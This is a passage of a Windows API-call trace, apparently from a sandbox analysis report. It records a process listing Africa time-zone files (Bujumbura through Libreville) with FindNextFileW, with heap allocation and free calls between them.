nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bujumbura", cAlternateFileName="")) returned 1 [0088.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdac8 [0088.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12513b8 [0088.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.437] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x419, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cairo", cAlternateFileName="")) returned 1 [0088.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdae8 [0088.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251440 [0088.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.438] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casablanca", cAlternateFileName="")) returned 1 [0088.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdb08 [0088.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12514c8 [0088.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.440] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ceuta", cAlternateFileName="")) returned 1 [0088.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdb28 [0088.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251550 [0088.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.442] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Conakry", cAlternateFileName="")) returned 1 [0088.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdb48 [0088.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12515d8 [0088.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.444] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dakar", cAlternateFileName="")) returned 1 [0088.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdb68 [0088.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251660 [0088.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.445] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dar_es_Salaam", cAlternateFileName="")) returned 1 [0088.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdb88 [0088.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12516e8 [0088.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.447] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Djibouti", cAlternateFileName="")) returned 1 [0088.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdba8 [0088.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251770 [0088.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Douala", cAlternateFileName="")) returned 1 [0088.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdbc8 [0088.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12517f8 [0088.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8640) returned 0x12ea380 [0088.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="El_Aaiun", cAlternateFileName="")) returned 1 [0088.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdbe8 [0088.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251880 [0088.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.452] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Freetown", cAlternateFileName="")) returned 1 [0088.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdc08 [0088.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251908 [0088.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.453] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gaborone", cAlternateFileName="")) returned 1 [0088.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdc28 [0088.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251990 [0088.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.455] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Harare", cAlternateFileName="")) returned 1 [0088.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdc48 [0088.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251a18 [0088.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.457] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Johannesburg", cAlternateFileName="")) returned 1 [0088.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdc68 [0088.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251aa0 [0088.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.459] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x151, dwReserved0=0x0, dwReserved1=0x0, cFileName="Juba", cAlternateFileName="")) returned 1 [0088.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdc88 [0088.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251b28 [0088.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.460] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kampala", cAlternateFileName="")) returned 1 [0088.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdca8 [0088.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251bb0 [0088.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.462] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x151, dwReserved0=0x0, dwReserved1=0x0, cFileName="Khartoum", cAlternateFileName="")) returned 1 [0088.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdcc8 [0088.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251c38 [0088.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.463] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kigali", cAlternateFileName="")) returned 1 [0088.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdce8 [0088.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251cc0 [0088.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.465] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kinshasa", cAlternateFileName="")) returned 1 [0088.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdd08 [0088.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251d48 [0088.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.467] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lagos", cAlternateFileName="")) returned 1 [0088.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdd28 [0088.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251dd0 [0088.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.468] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libreville", cAlternateFileName="")) returned 1 [0088.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 